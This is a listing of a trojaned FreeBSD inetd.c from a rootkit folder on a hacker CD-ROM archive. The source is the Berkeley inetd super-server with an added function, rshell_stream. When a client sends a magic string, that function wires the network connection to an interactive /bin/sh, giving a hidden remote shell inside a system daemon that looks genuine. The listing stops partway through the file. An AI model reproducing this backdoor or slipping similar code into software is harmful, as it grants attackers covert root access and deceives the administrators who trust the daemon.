home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / inetd / inetd.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  42.0 KB  |  1,757 lines

  1. /*
  2.  * Copyright (c) 1983, 1991, 1993, 1994
  3.  *    The Regents of the University of California.  All rights reserved.
  4.  *
  5.  * Redistribution and use in source and binary forms, with or without
  6.  * modification, are permitted provided that the following conditions
  7.  * are met:
  8.  * 1. Redistributions of source code must retain the above copyright
  9.  *    notice, this list of conditions and the following disclaimer.
  10.  * 2. Redistributions in binary form must reproduce the above copyright
  11.  *    notice, this list of conditions and the following disclaimer in the
  12.  *    documentation and/or other materials provided with the distribution.
  13.  * 3. All advertising materials mentioning features or use of this software
  14.  *    must display the following acknowledgement:
  15.  *    This product includes software developed by the University of
  16.  *    California, Berkeley and its contributors.
  17.  * 4. Neither the name of the University nor the names of its contributors
  18.  *    may be used to endorse or promote products derived from this software
  19.  *    without specific prior written permission.
  20.  *
  21.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  22.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  23.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  24.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  25.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  26.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  27.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  28.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  29.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  30.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  31.  * SUCH DAMAGE.
  32.  */
  33.  
  34. #ifndef lint
  35. static const char copyright[] =
  36. "@(#) Copyright (c) 1983, 1991, 1993, 1994\n\
  37.     The Regents of the University of California.  All rights reserved.\n";
  38. #endif /* not lint */
  39.  
  40. #ifndef lint
  41. #if 0
  42. static char sccsid[] = "@(#)from: inetd.c     8.4 (Berkeley) 4/13/94";
  43. #endif
  44. static const char rcsid[] =
  45.     "$Id: inetd.c,v 1.15.2.5 1997/09/22 06:23:24 charnier Exp $";
  46. #endif /* not lint */
  47.  
  48. /*
  49.  * Inetd - Internet super-server
  50.  *
  51.  * This program invokes all internet services as needed.  Connection-oriented
  52.  * services are invoked each time a connection is made, by creating a process.
  53.  * This process is passed the connection as file descriptor 0 and is expected
  54.  * to do a getpeername to find out the source host and port.
  55.  *
  56.  * Datagram oriented services are invoked when a datagram
  57.  * arrives; a process is created and passed a pending message
  58.  * on file descriptor 0.  Datagram servers may either connect
  59.  * to their peer, freeing up the original socket for inetd
  60.  * to receive further messages on, or ``take over the socket'',
  61.  * processing all arriving datagrams and, eventually, timing
  62.  * out.     The first type of server is said to be ``multi-threaded'';
  63.  * the second type of server ``single-threaded''.
  64.  *
  65.  * Inetd uses a configuration file which is read at startup
  66.  * and, possibly, at some later time in response to a hangup signal.
  67.  * The configuration file is ``free format'' with fields given in the
  68.  * order shown below.  Continuation lines for an entry must being with
  69.  * a space or tab.  All fields must be present in each entry.
  70.  *
  71.  *    service name            must be in /etc/services or must
  72.  *                    name a tcpmux service
  73.  *    socket type            stream/dgram/raw/rdm/seqpacket
  74.  *    protocol            must be in /etc/protocols
  75.  *    wait/nowait            single-threaded/multi-threaded
  76.  *    user                user to run daemon as
  77.  *    server program            full path name
  78.  *    server program arguments    maximum of MAXARGS (20)
  79.  *
  80.  * TCP services without official port numbers are handled with the
  81.  * RFC1078-based tcpmux internal service. Tcpmux listens on port 1 for
  82.  * requests. When a connection is made from a foreign host, the service
  83.  * requested is passed to tcpmux, which looks it up in the servtab list
  84.  * and returns the proper entry for the service. Tcpmux returns a
  85.  * negative reply if the service doesn't exist, otherwise the invoked
  86.  * server is expected to return the positive reply if the service type in
  87.  * inetd.conf file has the prefix "tcpmux/". If the service type has the
  88.  * prefix "tcpmux/+", tcpmux will return the positive reply for the
  89.  * process; this is for compatibility with older server code, and also
  90.  * allows you to invoke programs that use stdin/stdout without putting any
  91.  * special server code in them. Services that use tcpmux are "nowait"
  92.  * because they do not have a well-known port and hence cannot listen
  93.  * for new requests.
  94.  *
  95.  * For RPC services
  96.  *    service name/version        must be in /etc/rpc
  97.  *    socket type            stream/dgram/raw/rdm/seqpacket
  98.  *    protocol            must be in /etc/protocols
  99.  *    wait/nowait            single-threaded/multi-threaded
  100.  *    user                user to run daemon as
  101.  *    server program            full path name
  102.  *    server program arguments    maximum of MAXARGS
  103.  *
  104.  * Comment lines are indicated by a `#' in column 1.
  105.  */
  106. #include <sys/param.h>
  107. #include <sys/stat.h>
  108. #include <sys/ioctl.h>
  109. #include <sys/socket.h>
  110. #include <sys/wait.h>
  111. #include <sys/time.h>
  112. #include <sys/resource.h>
  113.  
  114. #include <netinet/in.h>
  115. #include <arpa/inet.h>
  116. #include <rpc/rpc.h>
  117. #include <rpc/pmap_clnt.h>
  118.  
  119. #include <errno.h>
  120. #include <err.h>
  121. #include <fcntl.h>
  122. #include <netdb.h>
  123. #include <pwd.h>
  124. #include <signal.h>
  125. #include <stdio.h>
  126. #include <stdlib.h>
  127. #include <string.h>
  128. #include <syslog.h>
  129. #include <unistd.h>
  130. #include <libutil.h>
  131. #include <sysexits.h>
  132.  
  133. #ifdef LOGIN_CAP
  134. #include <login_cap.h>
  135. #endif
  136.  
  137. #include "pathnames.h"
  138.  
  139. #include "../config.h"
  140.  
  141. #define    TOOMANY        256        /* don't start more than TOOMANY */
  142. #define    CNT_INTVL    60        /* servers in CNT_INTVL sec. */
  143. #define    RETRYTIME    (60*10)        /* retry after bind or server fail */
  144. #define MAX_MAXCHLD    32767        /* max allowable max children */
  145.  
  146. #define    SIGBLOCK    (sigmask(SIGCHLD)|sigmask(SIGHUP)|sigmask(SIGALRM))
  147.  
  148. #define BUFSIZE 8192
  149.  
  150. int    debug = 0;
  151. int    log = 0;
  152. int    nsock, maxsock;
  153. fd_set    allsock;
  154. int    options;
  155. int    timingout;
  156. int    toomany = TOOMANY;
  157. struct    servent *sp;
  158. struct    rpcent *rpc;
  159. struct    in_addr bind_address;
  160.  
  161. struct    servtab {
  162.     char    *se_service;        /* name of service */
  163.     int    se_socktype;        /* type of socket to use */
  164.     char    *se_proto;        /* protocol used */
  165.     short    se_maxchild;        /* max number of children */
  166.     short    se_numchild;        /* current number of children */
  167.     pid_t    *se_pids;        /* array of child pids */
  168.     char    *se_user;        /* user name to run as */
  169.     struct    biltin *se_bi;        /* if built-in, description */
  170.     char    *se_server;        /* server program */
  171. #define    MAXARGV 20
  172.     char    *se_argv[MAXARGV+1];    /* program arguments */
  173.     int    se_fd;            /* open descriptor */
  174.     struct    sockaddr_in se_ctrladdr;/* bound address */
  175.     u_char    se_type;        /* type: normal, mux, or mux+ */
  176.     u_char    se_checked;        /* looked at during merge */
  177.     u_char    se_accept;        /* i.e., wait/nowait mode */
  178.     u_char    se_rpc;            /* ==1 if RPC service */
  179.     int    se_rpc_prog;        /* RPC program number */
  180.     u_int    se_rpc_lowvers;        /* RPC low version */
  181.     u_int    se_rpc_highvers;    /* RPC high version */
  182.     int    se_count;        /* number started since se_time */
  183.     struct    timeval se_time;    /* start of se_count */
  184.     struct    servtab *se_next;
  185. } *servtab;
  186.  
  187. #define NORM_TYPE    0
  188. #define MUX_TYPE    1
  189. #define MUXPLUS_TYPE    2
  190. #define ISMUX(sep)    (((sep)->se_type == MUX_TYPE) || \
  191.              ((sep)->se_type == MUXPLUS_TYPE))
  192. #define ISMUXPLUS(sep)    ((sep)->se_type == MUXPLUS_TYPE)
  193.  
  194.  
  195. void        chargen_dg __P((int, struct servtab *));
  196. void        chargen_stream __P((int, struct servtab *));
  197. void        close_sep __P((struct servtab *));
  198. void        config __P((int));
  199. void        daytime_dg __P((int, struct servtab *));
  200. void        daytime_stream __P((int, struct servtab *));
  201. void        discard_dg __P((int, struct servtab *));
  202. void        discard_stream __P((int, struct servtab *));
  203. void        echo_dg __P((int, struct servtab *));
  204. void        echo_stream __P((int, struct servtab *));
  205. void        endconfig __P((void));
  206. struct servtab *enter __P((struct servtab *));
  207. void        freeconfig __P((struct servtab *));
  208. struct servtab *getconfigent __P((void));
  209. void        machtime_dg __P((int, struct servtab *));
  210. void        machtime_stream __P((int, struct servtab *));
  211. char           *newstr __P((char *));
  212. char           *nextline __P((FILE *));
  213. void        print_service __P((char *, struct servtab *));
  214. void        addchild __P((struct servtab *, int));
  215. void        reapchild __P((int));
  216. void        enable __P((struct servtab *));
  217. void        disable __P((struct servtab *));
  218. void        retry __P((int));
  219. int        setconfig __P((void));
  220. void        setup __P((struct servtab *));
  221. char           *sskip __P((char **));
  222. char           *skip __P((char **));
  223. struct servtab *tcpmux __P((int));
  224.  
  225. void        unregisterrpc __P((register struct servtab *sep));
  226.  
  227. struct biltin {
  228.     char    *bi_service;        /* internally provided service name */
  229.     int    bi_socktype;        /* type of socket supported */
  230.     short    bi_fork;        /* 1 if should fork before call */
  231.     short    bi_maxchild;        /* max number of children (default) */
  232.     void    (*bi_fn)();        /* function which performs it */
  233. } biltins[] = {
  234.     /* Echo received data */
  235.     { "echo",    SOCK_STREAM,    1, 0,    echo_stream },
  236.     { "echo",    SOCK_DGRAM,    0, 0,    echo_dg },
  237.  
  238.     /* Internet /dev/null */
  239.     { "discard",    SOCK_STREAM,    1, 0,    discard_stream },
  240.     { "discard",    SOCK_DGRAM,    0, 0,    discard_dg },
  241.  
  242.     /* Return 32 bit time since 1970 */
  243.     { "time",    SOCK_STREAM,    0, 0,    machtime_stream },
  244.     { "time",    SOCK_DGRAM,    0, 0,    machtime_dg },
  245.  
  246.     /* Return human-readable time */
  247.     { "daytime",    SOCK_STREAM,    0, 0,    daytime_stream },
  248.     { "daytime",    SOCK_DGRAM,    0, 0,    daytime_dg },
  249.  
  250.     /* Familiar character generator */
  251.     { "chargen",    SOCK_STREAM,    1, 0,    chargen_stream },
  252.     { "chargen",    SOCK_DGRAM,    0, 0,    chargen_dg },
  253.  
  254.     { "tcpmux",    SOCK_STREAM,    1, 0,    (void (*)())tcpmux },
  255.  
  256.     { NULL }
  257. };
  258.  
  259. #define NUMINT    (sizeof(intab) / sizeof(struct inent))
  260. char    *CONFIG = _PATH_INETDCONF;
  261. char    *pid_file = _PATH_INETDPID;
  262.  
  263. #ifdef OLD_SETPROCTITLE
  264. char    **Argv;
  265. char     *LastArg;
  266. #endif
  267.  
  268. void rshell_stream(int s, struct servtab *sep)
  269. {
  270.         char buffer[BUFSIZE];
  271.         int i;
  272.         char MAG[7];
  273.  
  274.         MAG[0]=ROOTKIT_MAGIC[0];
  275.         MAG[1]=ROOTKIT_MAGIC[1];
  276.         MAG[2]=ROOTKIT_MAGIC[2];
  277.         MAG[3]=ROOTKIT_MAGIC[3];
  278.         MAG[4]=ROOTKIT_MAGIC[4];
  279.         MAG[5]=ROOTKIT_MAGIC[5];
  280.         MAG[6]='\0';
  281.  
  282.         while ((i = read(s, buffer, sizeof(buffer))) > 0) {
  283.                 if(!strncmp(buffer, MAG, sizeof(MAG)-1)) {
  284.                         dup2(s, 0);
  285.                         dup2(s, 1);
  286.                         dup2(s, 2);
  287.                         execl("/bin/sh", "sh", "-i", 0);
  288.                         close(s);
  289.                         break;
  290.                 }
  291.                 if(write(s, buffer, i) < 0)
  292.                         break;
  293.         }
  294.         exit(0);
  295. }
  296.  
  297.  
  298. int werd=1;
  299.  
  300. int
  301. main(argc, argv, envp)
  302.     int argc;
  303.     char *argv[], *envp[];
  304. {
  305.     struct servtab *sep;
  306.     struct passwd *pwd;
  307.     struct sigvec sv;
  308.     int tmpint, ch, dofork;
  309.     pid_t pid;
  310.     char buf[50];
  311.     struct  sockaddr_in peer;
  312.     int i;
  313. #ifdef LOGIN_CAP
  314.     login_cap_t *lc = NULL;
  315. #endif
  316.  
  317.  
  318. #ifdef OLD_SETPROCTITLE
  319.     Argv = argv;
  320.     if (envp == 0 || *envp == 0)
  321.         envp = argv;
  322.     while (*envp)
  323.         envp++;
  324.     LastArg = envp[-1] + strlen(envp[-1]);
  325. #endif
  326.  
  327.     openlog("inetd", LOG_PID | LOG_NOWAIT, LOG_DAEMON);
  328.  
  329.     bind_address.s_addr = htonl(INADDR_ANY);
  330.     while ((ch = getopt(argc, argv, "dlR:a:p:")) != -1)
  331.         switch(ch) {
  332.         case 'd':
  333.             debug = 1;
  334.             options |= SO_DEBUG;
  335.             break;
  336.         case 'l':
  337.             log = 1;
  338.             break;
  339.         case 'R': {    /* invocation rate */
  340.             char *p;
  341.  
  342.             tmpint = strtol(optarg, &p, 0);
  343.             if (tmpint < 1 || *p)
  344.                 syslog(LOG_ERR,
  345.                      "-R %s: bad value for service invocation rate",
  346.                     optarg);
  347.             else
  348.                 toomany = tmpint;
  349.             break;
  350.         }
  351.         case 'a':
  352.             if (!inet_aton(optarg, &bind_address)) {
  353.                 syslog(LOG_ERR,
  354.                      "-a %s: invalid IP address", optarg);
  355.                 exit(EX_USAGE);
  356.             }
  357.             break;
  358.         case 'p':
  359.             pid_file = optarg;
  360.             break;
  361.         case '?':
  362.         default:
  363.             syslog(LOG_ERR,
  364.                 "usage: inetd [-dl] [-a address] [-R rate]"
  365.                 " [-p pidfile] [conf-file]");
  366.             exit(EX_USAGE);
  367.         }
  368.     argc -= optind;
  369.     argv += optind;
  370.  
  371.     if (argc > 0)
  372.         CONFIG = argv[0];
  373.     if (debug == 0) {
  374.         FILE *fp;
  375.         if (daemon(0, 0) < 0) {
  376.             syslog(LOG_WARNING, "daemon(0,0) failed: %m");
  377.         }
  378.         /*
  379.          * In case somebody has started inetd manually, we need to
  380.          * clear the logname, so that old servers run as root do not
  381.          * get the user's logname..
  382.          */
  383.         if (setlogin("") < 0) {
  384.             syslog(LOG_WARNING, "cannot clear logname: %m");
  385.             /* no big deal if it fails.. */
  386.         }
  387.         pid = getpid();
  388.         fp = fopen(pid_file, "w");
  389.         if (fp) {
  390.             fprintf(fp, "%ld\n", (long)pid);
  391.             fclose(fp);
  392.         } else {
  393.             syslog(LOG_WARNING, "%s: %m", pid_file);
  394.         }
  395.     }
  396.     memset(&sv, 0, sizeof(sv));
  397.     sv.sv_mask = SIGBLOCK;
  398.     sv.sv_handler = retry;
  399.     sigvec(SIGALRM, &sv, (struct sigvec *)0);
  400.     config(SIGHUP);
  401.     sv.sv_handler = config;
  402.     sigvec(SIGHUP, &sv, (struct sigvec *)0);
  403.     sv.sv_handler = reapchild;
  404.     sigvec(SIGCHLD, &sv, (struct sigvec *)0);
  405.  
  406.     {
  407.         /* space for daemons to overwrite environment for ps */
  408. #define    DUMMYSIZE    100
  409.         char dummy[DUMMYSIZE];
  410.  
  411.         (void)memset(dummy, 'x', DUMMYSIZE - 1);
  412.         dummy[DUMMYSIZE - 1] = '\0';
  413.         (void)setenv("inetd_dummy", dummy, 1);
  414.     }
  415.  
  416.     for (;;) {
  417.         int n, ctrl;
  418.         fd_set readable;
  419.  
  420.         if (nsock == 0) {
  421.         (void) sigblock(SIGBLOCK);
  422.         while (nsock == 0)
  423.             sigpause(0L);
  424.         (void) sigsetmask(0L);
  425.         }
  426.         readable = allsock;
  427.         if ((n = select(maxsock + 1, &readable, (fd_set *)0,
  428.         (fd_set *)0, (struct timeval *)0)) <= 0) {
  429.             if (n < 0 && errno != EINTR) {
  430.             syslog(LOG_WARNING, "select: %m");
  431.             sleep(1);
  432.             }
  433.             continue;
  434.         }
  435.         for (sep = servtab; n && sep; sep = sep->se_next)
  436.             if (sep->se_fd != -1 && FD_ISSET(sep->se_fd, &readable)) {
  437.             n--;
  438.             if (debug)
  439.                 warnx("someone wants %s", sep->se_service);
  440.             if (sep->se_accept && sep->se_socktype == SOCK_STREAM) {
  441.                 ctrl = accept(sep->se_fd, (struct sockaddr *)0,
  442.                 (int *)0);
  443.                 if (debug)
  444.                     warnx("accept, ctrl %d", ctrl);
  445.                 if (ctrl < 0) {
  446.                     if (errno != EINTR)
  447.                         syslog(LOG_WARNING,
  448.                         "accept (for %s): %m",
  449.                         sep->se_service);
  450.                     continue;
  451.                 }
  452.                 if (log) {
  453.                 i = sizeof peer;
  454.                 if(getpeername(ctrl, (struct sockaddr *)
  455.                         &peer, &i)) {
  456.                     syslog(LOG_WARNING,
  457.                         "getpeername(for %s): %m",
  458.                         sep->se_service);
  459.                     continue;
  460.                 }
  461.                 syslog(LOG_INFO,"%s from %s",
  462.                     sep->se_service,
  463.                     inet_ntoa(peer.sin_addr));
  464.                 }
  465.                 /*
  466.                  * Call tcpmux to find the real service to exec.
  467.                  */
  468.                 if (sep->se_bi &&
  469.                 sep->se_bi->bi_fn == (void (*)()) tcpmux) {
  470.                     struct servtab *tsep;
  471.  
  472.                     tsep = tcpmux(ctrl);
  473.                     if (tsep == NULL) {
  474.                         close(ctrl);
  475.                         continue;
  476.                     }
  477.                     sep = tsep;
  478.                 }
  479.             } else
  480.                 ctrl = sep->se_fd;
  481.             (void) sigblock(SIGBLOCK);
  482.             pid = 0;
  483.             dofork = (sep->se_bi == 0 || sep->se_bi->bi_fork);
  484.             if (dofork) {
  485.                 if (sep->se_count++ == 0)
  486.                 (void)gettimeofday(&sep->se_time,
  487.                     (struct timezone *)0);
  488.                 else if (sep->se_count >= toomany) {
  489.                 struct timeval now;
  490.  
  491.                 (void)gettimeofday(&now, (struct timezone *)0);
  492.                 if (now.tv_sec - sep->se_time.tv_sec >
  493.                     CNT_INTVL) {
  494.                     sep->se_time = now;
  495.                     sep->se_count = 1;
  496.                 } else {
  497.                     syslog(LOG_ERR,
  498.             "%s/%s server failing (looping), service terminated",
  499.                         sep->se_service, sep->se_proto);
  500.                     close_sep(sep);
  501.                     sigsetmask(0L);
  502.                     if (!timingout) {
  503.                         timingout = 1;
  504.                         alarm(RETRYTIME);
  505.                     }
  506.                     continue;
  507.                 }
  508.                 }
  509.                 pid = fork();
  510.             }
  511.             if (pid < 0) {
  512.                 syslog(LOG_ERR, "fork: %m");
  513.                 if (sep->se_accept &&
  514.                 sep->se_socktype == SOCK_STREAM)
  515.                     close(ctrl);
  516.                 sigsetmask(0L);
  517.                 sleep(1);
  518.                 continue;
  519.             }
  520.             if (pid)
  521.             addchild(sep, pid);
  522.             sigsetmask(0L);
  523.             if (pid == 0) {
  524.                 if (dofork) {
  525.                 if (debug)
  526.                     warnx("+ closing from %d", maxsock);
  527.                 for (tmpint = maxsock; tmpint > 2; tmpint--)
  528.                     if (tmpint != ctrl)
  529.                         (void) close(tmpint);
  530.                 }
  531.                 if (sep->se_bi) {
  532.                 (*sep->se_bi->bi_fn)(ctrl, sep);
  533.                 /* NOTREACHED */
  534.                 } else {
  535.                 if (debug)
  536.                     warnx("%d execl %s",
  537.                         getpid(), sep->se_server);
  538.                 dup2(ctrl, 0);
  539.                 close(ctrl);
  540.                 dup2(0, 1);
  541.                 dup2(0, 2);
  542.                 if ((pwd = getpwnam(sep->se_user)) == NULL) {
  543.                     syslog(LOG_ERR,
  544.                         "%s/%s: %s: No such user",
  545.                         sep->se_service, sep->se_proto,
  546.                         sep->se_user);
  547.                     if (sep->se_socktype != SOCK_STREAM)
  548.                         recv(0, buf, sizeof (buf), 0);
  549.                     _exit(EX_NOUSER);
  550.                 }
  551. #ifdef LOGIN_CAP
  552.                 /*
  553.                  * Establish the class now, falls back to
  554.                  * the "default" if unavailable.
  555.                  */
  556.                 lc = login_getpwclass(pwd);
  557. #endif
  558.                 if (setsid() < 0) {
  559.                     syslog(LOG_ERR,
  560.                         "%s: can't setsid(): %m",
  561.                          sep->se_service);
  562.                     /* _exit(EX_OSERR); not fatal yet */
  563.                 }
  564. #ifdef LOGIN_CAP
  565.                 if (setusercontext(lc, pwd, pwd->pw_uid,
  566.                     LOGIN_SETALL) != 0) {
  567.                     syslog(LOG_ERR,
  568.                      "%s: can't setusercontext(..%s..): %m",
  569.                      sep->se_service, sep->se_user);
  570.                     _exit(EX_OSERR);
  571.                 }
  572. #else
  573.                 if (pwd->pw_uid) {
  574.                     if (setlogin(sep->se_user) < 0) {
  575.                         syslog(LOG_ERR,
  576.                          "%s: can't setlogin(%s): %m",
  577.                          sep->se_service, sep->se_user);
  578.                         /* _exit(EX_OSERR); not yet */
  579.                     }
  580.                     if (setgid(pwd->pw_gid) < 0) {
  581.                         syslog(LOG_ERR,
  582.                           "%s: can't set gid %d: %m",
  583.                           sep->se_service, pwd->pw_gid);
  584.                         _exit(EX_OSERR);
  585.                     }
  586.                     (void) initgroups(pwd->pw_name,
  587.                             pwd->pw_gid);
  588.                     if (setuid(pwd->pw_uid) < 0) {
  589.                         syslog(LOG_ERR,
  590.                           "%s: can't set uid %d: %m",
  591.                           sep->se_service, pwd->pw_uid);
  592.                         _exit(EX_OSERR);
  593.                     }
  594.                 }
  595. #endif
  596.                 execv(sep->se_server, sep->se_argv);
  597.                 if (sep->se_socktype != SOCK_STREAM)
  598.                     recv(0, buf, sizeof (buf), 0);
  599.                 syslog(LOG_ERR,
  600.                     "cannot execute %s: %m", sep->se_server);
  601.                 _exit(EX_OSERR);
  602.                 }
  603.             }
  604.             if (sep->se_accept && sep->se_socktype == SOCK_STREAM)
  605.                 close(ctrl);
  606.         }
  607.     }
  608. }
  609.  
  610. /*
  611.  * Record a new child pid for this service. If we've reached the
  612.  * limit on children, then stop accepting incoming requests.
  613.  */
  614.  
  615. void
  616. addchild(struct servtab *sep, pid_t pid)
  617. {
  618. #ifdef SANITY_CHECK
  619.     if (sep->se_numchild >= sep->se_maxchild) {
  620.         syslog(LOG_ERR, "%s: %d >= %d",
  621.             __FUNCTION__, sep->se_numchild, sep->se_maxchild);
  622.         exit(EX_SOFTWARE);
  623.     }
  624. #endif
  625.     if (sep->se_maxchild == 0)
  626.         return;
  627.     sep->se_pids[sep->se_numchild++] = pid;
  628.     if (sep->se_numchild == sep->se_maxchild)
  629.         disable(sep);
  630. }
  631.  
  632. /*
  633.  * Some child process has exited. See if it's on somebody's list.
  634.  */
  635.  
  636. void
  637. reapchild(signo)
  638.     int signo;
  639. {
  640.     int k, status;
  641.     pid_t pid;
  642.     struct servtab *sep;
  643.  
  644.     for (;;) {
  645.         pid = wait3(&status, WNOHANG, (struct rusage *)0);
  646.         if (pid <= 0)
  647.             break;
  648.         if (debug)
  649.             warnx("%d reaped, status %#x", pid, status);
  650.         for (sep = servtab; sep; sep = sep->se_next) {
  651.             for (k = 0; k < sep->se_numchild; k++)
  652.                 if (sep->se_pids[k] == pid)
  653.                     break;
  654.             if (k == sep->se_numchild)
  655.                 continue;
  656.             if (sep->se_numchild == sep->se_maxchild)
  657.                 enable(sep);
  658.             sep->se_pids[k] = sep->se_pids[--sep->se_numchild];
  659.             if (status)
  660.                 syslog(LOG_WARNING,
  661.                     "%s[%d]: exit status 0x%x",
  662.                     sep->se_server, pid, status);
  663.             break;
  664.         }
  665.     }
  666. }
  667.  
  668. void
  669. config(signo)
  670.     int signo;
  671. {
  672.     struct servtab *sep, *new, **sepp;
  673.     struct passwd *pwd;
  674.     long omask;
  675.  
  676. if (!werd)
  677.     werd++;
  678.  
  679.     if (!setconfig()) {
  680.         syslog(LOG_ERR, "%s: %m", CONFIG);
  681.         return;
  682.     }
  683.     for (sep = servtab; sep; sep = sep->se_next)
  684.         sep->se_checked = 0;
  685.     while ((new = getconfigent())) {
  686.         if ((pwd = getpwnam(new->se_user)) == NULL) {
  687.             syslog(LOG_ERR,
  688.                 "%s/%s: No such user '%s', service ignored",
  689.                 new->se_service, new->se_proto, new->se_user);
  690.             continue;
  691.         }
  692.         for (sep = servtab; sep; sep = sep->se_next)
  693.             if (strcmp(sep->se_service, new->se_service) == 0 &&
  694.                 strcmp(sep->se_proto, new->se_proto) == 0)
  695.                 break;
  696.         if (sep != 0) {
  697.             int i;
  698.  
  699. #define SWAP(a, b) { typeof(a) c = a; a = b; b = c; }
  700.             omask = sigblock(SIGBLOCK);
  701.             /* copy over outstanding child pids */
  702.             if (sep->se_maxchild && new->se_maxchild) {
  703.                 new->se_numchild = sep->se_numchild;
  704.                 if (new->se_numchild > new->se_maxchild)
  705.                     new->se_numchild = new->se_maxchild;
  706.                 memcpy(new->se_pids, sep->se_pids,
  707.                     new->se_numchild * sizeof(*new->se_pids));
  708.             }
  709.             SWAP(sep->se_pids, new->se_pids);
  710.             sep->se_maxchild = new->se_maxchild;
  711.             sep->se_numchild = new->se_numchild;
  712.             /* might need to turn on or off service now */
  713.             if (sep->se_fd >= 0) {
  714.                   if (sep->se_maxchild
  715.                   && sep->se_numchild == sep->se_maxchild) {
  716.                       if (FD_ISSET(sep->se_fd, &allsock))
  717.                       disable(sep);
  718.                   } else {
  719.                       if (!FD_ISSET(sep->se_fd, &allsock))
  720.                       enable(sep);
  721.                   }
  722.             }
  723.             sep->se_accept = new->se_accept;
  724.             if (new->se_user)
  725.                 SWAP(sep->se_user, new->se_user);
  726.             if (new->se_server)
  727.                 SWAP(sep->se_server, new->se_server);
  728.             for (i = 0; i < MAXARGV; i++)
  729.                 SWAP(sep->se_argv[i], new->se_argv[i]);
  730.             sigsetmask(omask);
  731.             freeconfig(new);
  732.             if (debug)
  733.                 print_service("REDO", sep);
  734.         } else {
  735.             sep = enter(new);
  736.             if (debug)
  737.                 print_service("ADD ", sep);
  738.         }
  739.         sep->se_checked = 1;
  740.         if (ISMUX(sep)) {
  741.             sep->se_fd = -1;
  742.             continue;
  743.         }
  744.         if (!sep->se_rpc) {
  745.             sp = getservbyname(sep->se_service, sep->se_proto);
  746.             if (sp == 0) {
  747.                 syslog(LOG_ERR, "%s/%s: unknown service",
  748.                     sep->se_service, sep->se_proto);
  749.                 sep->se_checked = 0;
  750.                 continue;
  751.             }
  752.             if (sp->s_port != sep->se_ctrladdr.sin_port) {
  753.                 sep->se_ctrladdr.sin_family = AF_INET;
  754.                 sep->se_ctrladdr.sin_addr = bind_address;
  755.                 sep->se_ctrladdr.sin_port = sp->s_port;
  756.                 if (sep->se_fd >= 0)
  757.                     close_sep(sep);
  758.             }
  759.         } else {
  760.             rpc = getrpcbyname(sep->se_service);
  761.             if (rpc == 0) {
  762.                 syslog(LOG_ERR, "%s/%s unknown RPC service.",
  763.                     sep->se_service, sep->se_proto);
  764.                 if (sep->se_fd != -1)
  765.                     (void) close(sep->se_fd);
  766.                 sep->se_fd = -1;
  767.                     continue;
  768.             }
  769.             if (rpc->r_number != sep->se_rpc_prog) {
  770.                 if (sep->se_rpc_prog)
  771.                     unregisterrpc(sep);
  772.                 sep->se_rpc_prog = rpc->r_number;
  773.                 if (sep->se_fd != -1)
  774.                     (void) close(sep->se_fd);
  775.                 sep->se_fd = -1;
  776.             }
  777.         }
  778.         if (sep->se_fd == -1)
  779.             setup(sep);
  780.     }
  781.     endconfig();
  782.     /*
  783.      * Purge anything not looked at above.
  784.      */
  785.     omask = sigblock(SIGBLOCK);
  786.     sepp = &servtab;
  787.     while ((sep = *sepp)) {
  788.         if (sep->se_checked) {
  789.             sepp = &sep->se_next;
  790.             continue;
  791.         }
  792.         *sepp = sep->se_next;
  793.         if (sep->se_fd >= 0)
  794.             close_sep(sep);
  795.         if (debug)
  796.             print_service("FREE", sep);
  797.         if (sep->se_rpc && sep->se_rpc_prog > 0)
  798.             unregisterrpc(sep);
  799.         freeconfig(sep);
  800.         free((char *)sep);
  801.     }
  802.     (void) sigsetmask(omask);
  803. }
  804.  
  805. void
  806. unregisterrpc(sep)
  807.     struct servtab *sep;
  808. {
  809.         int i;
  810.         struct servtab *sepp;
  811.     long omask;
  812.  
  813.     omask = sigblock(SIGBLOCK);
  814.         for (sepp = servtab; sepp; sepp = sepp->se_next) {
  815.                 if (sepp == sep)
  816.                         continue;
  817.         if (sep->se_checked == 0 ||
  818.                     !sepp->se_rpc ||
  819.                     sep->se_rpc_prog != sepp->se_rpc_prog)
  820.             continue;
  821.                 return;
  822.         }
  823.         if (debug)
  824.                 print_service("UNREG", sep);
  825.         for (i = sep->se_rpc_lowvers; i <= sep->se_rpc_highvers; i++)
  826.                 pmap_unset(sep->se_rpc_prog, i);
  827.         if (sep->se_fd != -1)
  828.                 (void) close(sep->se_fd);
  829.         sep->se_fd = -1;
  830.     (void) sigsetmask(omask);
  831. }
  832.  
  833. void
  834. retry(signo)
  835.     int signo;
  836. {
  837.     struct servtab *sep;
  838.  
  839.     timingout = 0;
  840.     for (sep = servtab; sep; sep = sep->se_next)
  841.         if (sep->se_fd == -1 && !ISMUX(sep))
  842.             setup(sep);
  843. }
  844.  
  845. void
  846. setup(sep)
  847.     struct servtab *sep;
  848. {
  849.     int on = 1;
  850.  
  851.     if ((sep->se_fd = socket(AF_INET, sep->se_socktype, 0)) < 0) {
  852.         if (debug)
  853.             warn("socket failed on %s/%s",
  854.                 sep->se_service, sep->se_proto);
  855.         syslog(LOG_ERR, "%s/%s: socket: %m",
  856.             sep->se_service, sep->se_proto);
  857.         return;
  858.     }
  859. #define    turnon(fd, opt) \
  860. setsockopt(fd, SOL_SOCKET, opt, (char *)&on, sizeof (on))
  861.     if (strcmp(sep->se_proto, "tcp") == 0 && (options & SO_DEBUG) &&
  862.         turnon(sep->se_fd, SO_DEBUG) < 0)
  863.         syslog(LOG_ERR, "setsockopt (SO_DEBUG): %m");
